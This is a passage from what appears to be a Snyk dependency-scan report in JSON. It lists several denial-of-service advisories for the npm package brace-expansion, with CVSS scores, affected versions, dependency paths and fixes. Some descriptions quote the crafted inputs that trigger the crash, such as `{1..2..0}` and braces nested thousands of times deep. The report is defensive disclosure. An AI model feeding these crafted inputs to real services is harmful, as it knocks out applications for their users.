"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.6.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
